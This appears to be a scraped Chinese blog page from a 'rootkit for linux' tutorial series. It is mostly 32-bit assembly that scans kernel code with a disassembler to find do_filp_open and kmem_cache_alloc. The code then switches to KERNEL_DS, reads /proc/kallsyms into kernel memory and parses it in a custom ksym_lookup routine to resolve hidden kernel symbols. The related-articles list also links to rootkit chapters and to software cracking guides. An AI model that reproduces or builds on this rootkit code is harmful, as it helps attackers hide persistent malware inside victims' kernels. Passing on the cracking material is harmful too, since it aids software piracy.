cmpb $0xe8, dism_opcode(%edx)
jz 3f
2: addl %ebp, %esi
cmpl %edi, %esi
jl 1b
jmp ksyms_init_out_failed
3:
movl 1(%esi), %ebp
leal 5(%esi), %esi
addl %esi, %ebp
#ifdef _KSYM_DEBUG_
movl %ebp, 4(%esp)
DPRINT("<3>do_sys_open at %lx/n")
#endif
xorb %bl, %bl
movl %ebp, %esi
leal 0x100(%esi), %edi
1: GET_ADDR(struct_dism, %edx)
movl %esi, %eax
call xde_dism
testl %eax, %eax
jz ksyms_init_out_failed
movl %eax, %ebp
cmpb $0xe8, dism_opcode(%edx)
jnz 4f
testb $1, %bl
jz 2f
jmp 3f
4: cmpw $0x7f78, (%esi)
jnz 2f
orb $1, %bl
2: addl %ebp, %esi
cmpl %edi, %esi
jl 1b
jmp ksyms_init_out_failed
3:
movl 1(%esi), %ebp
leal 5(%esi), %esi
addl %esi, %ebp
SET_VAL32(do_filp_open, %ebp)
#ifdef _KSYM_DEBUG_
GET_VAL32(do_filp_open, %eax)
movl %eax, 4(%esp)
DPRINT("<3>do_filp_open at %lx/n")
#endif
打开 /proc/kallsyms
// file = do_filp_open(AT_FDCWD, "/proc/kallsyms", O_RDONLY, 0);
GET_VAL32(do_filp_open, %ebp)
movl $-100, %eax
GET_STR("/proc/kallsyms", %edx)
xorl %ecx, %ecx
movl $0, (%esp)
call *%ebp
testl %eax, %eax
jz ksyms_init_out_failed
movl %eax, %esi
movl %esi, 0x18(%esp)
GET_STRUCT_VAL32(%esi, file.f_op, %ebx)
GET_STRUCT_VAL32(%ebx, file_operations.read, %ebp)
movl %ebp, 0x14(%esp)
#ifdef _KSYM_DEBUG_
movl %ebp, 4(%esp)
DPRINT("<3>file opened, file->f_op->read at %lx/n")
#endif
找 kmalloc ,分配 ksyms 的内存
xorb %bl, %bl
movl %ebp, %esi
leal 0x100(%esi), %edi
1: movl %esi, %eax
GET_ADDR(struct_dism, %edx)
call xde_dism
testl %eax, %eax
jz ksyms_init_out_failed
movl %eax, %ebp
testb $1, %bl
jnz 3f
cmpw $0x840f, (%esi)
jnz 2f
orb $1, %bl
movl 2(%esi), %edx
leal 6(%esi), %esi
addl %edx, %esi
leal 0x100(%esi), %edi
jmp 1b
3: cmpb $0xe8, dism_opcode(%edx)
jz 4f
cmpb $0xa1, dism_opcode(%edx)
jnz 2f
movl 1(%esi), %edx
movl %edx, (%esp)
2: addl %ebp, %esi
cmpl %edi, %esi
jl 1b
jmp ksyms_init_out_failed
4:
movl (%esp), %eax
movl (8 + 7 * 12 + 4)(%eax), %edi
movl 1(%esi), %ebp
leal 5(%esi), %esi
addl %esi, %ebp
#ifdef _KSYM_DEBUG_
movl %edi, 8(%esp)
movl %ebp, 4(%esp)
DPRINT("<3>kmem_cache_alloc at %lx, param 1 is %lx/n")
#endif
// buf = kmem_cache_alloc(malloc_sizes[1MB].cs_cachep, GFP_KERNEL | __GFP_ZERO);
movl %edi, %eax
movl $0x80d0, %edx
call *%ebp
testl %eax, %eax
jz ksyms_init_out_failed
movl %eax, %esi
SET_VAL32(ksyms, %esi)
#ifdef _KSYM_DEBUG_
movl %esi, 4(%esp)
DPRINT("<3>kmem_cache_alloc 1MB for kallsyms at %lx ok!/n")
#endif
读 /proc/kallsyms 到缓冲区
#define posl 0x4
#define posh 0x8
movl $0, posl(%esp)
movl $0, posh(%esp)
// file->f_op->read(file, buf, 1024 * 1024 * 1, &pos);
1: movl 0x18(%esp), %eax
movl 0x14(%esp), %ebp
leal posl(%esp), %ebx
movl %ebx, (%esp)
movl %esi, %edx
movl $(1024 * 1024), %ecx
call *%ebp
testl %eax, %eax
jz 3f
addl %eax, %esi
jmp 1b
3:
#undef posh
#undef posl
#ifdef _KSYM_DEBUG_
movl %esi, 4(%esp)
DPRINT("<3>read kallsym ok! content: %.10s .../n")
#endif
重写的 ksym_lookup 代码,解决了以前的 bug:
// fastcall unsigned long ksym_lookup(char *name, int len)
// @name: name of the function to find
// @len: len of the name
// return: addr of the function
EXPORT_LABEL(ksym_lookup)
PUSH_ALL
subl $0x14, %esp
movl $0, 0xc(%esp)
movl %eax, (%esp)
movl %edx, 4(%esp)
#ifndef _TEST_
// saved = get_fs(); set_fs(KERNEL_DS);
movl %esp, %eax
andl $0xffffe000, %eax
movl 0x18(%eax), %ebx
movl %ebx, 0x10(%esp)
movl $0xffffffff, 0x18(%eax)
#endif
#ifndef _TEST_
GET_VAL32(ksyms, %esi)
#else
movl %ecx, %esi
#endif
ksym_lookup_getline:
movl %esi, %edi
1: cmpb $0, (%esi)
jnz 4f
movl $-1, 0xc(%esp)
jmp ksym_lookup_out
4: cmpb $'/n', (%esi)
jz 2f
incl %esi
jmp 1b
2:
movl %edi, %edx
movl $2, %eax
1: cmpb $' ', (%edi)
jnz 2f
decl %eax
jz 3f
2: incl %edi
cmpl %esi, %edi
jl 1b
movl $-2, 0xc(%esp)
jmp ksym_lookup_out
3:
leal 1(%edi), %edi
leal 1(%esi), %ebp
movl (%esp), %esi
movl 4(%esp), %ecx
cld; rep cmpsb
je 1f
jmp ksym_lookup_next
1:
cmpb $'_', (%edi)
je ksym_lookup_next
cmpb $'0', (%edi)
jl 3f
cmpb $'9', (%edi)
jle ksym_lookup_next
cmpb $'a', (%edi)
jl 3f
cmpb $'z', (%edi)
jle ksym_lookup_next
3:
xorl %eax, %eax
movl $9, %esi
2: movb (%edx), %bl
cmpb $' ', %bl
jz 3f
cmpb $'a', %bl
jb 4f
cmpb $'f', %bl
jna 6f
movl $-4, 0xc(%esp)
jmp ksym_lookup_out
6: subb $('a' - 10), %bl
jmp 5f
4: cmpb $'0', %bl
jnb 7f
movl $-5, 0xc(%esp)
jmp ksym_lookup_out
7: cmpb $'9', %bl
jna 8f
movl $-6, 0xc(%esp)
jmp ksym_lookup_out
8: subb $'0', %bl
5: shl $4, %eax
movb %al, %cl
andb $0xF0, %cl
orb %cl, %bl
movb %bl, %al
incl %edx
decl %esi
jnz 9f
movl $-7, 0xc(%esp)
jmp ksym_lookup_out
9: jmp 2b
ksym_lookup_next:
movl %ebp, %esi
jmp ksym_lookup_getline
3:
movl %eax, 0xc(%esp)
ksym_lookup_out:
#ifndef _TEST_
movl %esp, %ebx
andl $0xffffe000, %ebx
movl 0x10(%esp), %ecx
movl %ecx, 0x18(%ebx)
#endif
movl 0xc(%esp), %eax
addl $0x14, %esp
POP_ALL
ret
相关文章推荐
- Navicat for MySQL 11 Linux 破解方法
- Navicat for MySQL 11 Linux 破解方法
- [zz]rootkit for linux 2.寻找入口点
- rootkit for linux 15.寻找eth设备
- rootkit for linux 2.寻找入口点
- Navicat for MySQL 11注册码获取方法介绍
- QT for linux 的错误 undefined reference to 'FcFreeTypeQueryFace' 的解决方法
- 2017优化方法改进-译Optimization for DL in 2017
- Linux下rootkit-ddrk攻击获得root权限以及清除方法
- grubfordos 引导linux 和windows方法
- windows 10中的ubuntu子系统安装桌面环境的方法(How to install Ubuntu-desktop in windows 10 Subsystem for Linux)
- Linux程式设计-11.Shell Script(bash)--(5)控制圈for
- setValuesForKeysWithDictionary:方法的改进
- DB2 9.5 for Linux的安装方法
- Linux的那些事儿(11)----Linux下.tgz、.rpm等软件包的常用安装方法
- rootkit for linux 7.大杀器---反汇编引擎xde
- linux fedora 11 硬盘安装方法
- rootkit for linux 8.大大杀器---“模拟法”获得字段偏移
- MyEclipse for linux 破解方法
- wingide5-forlinux破解版和破解方法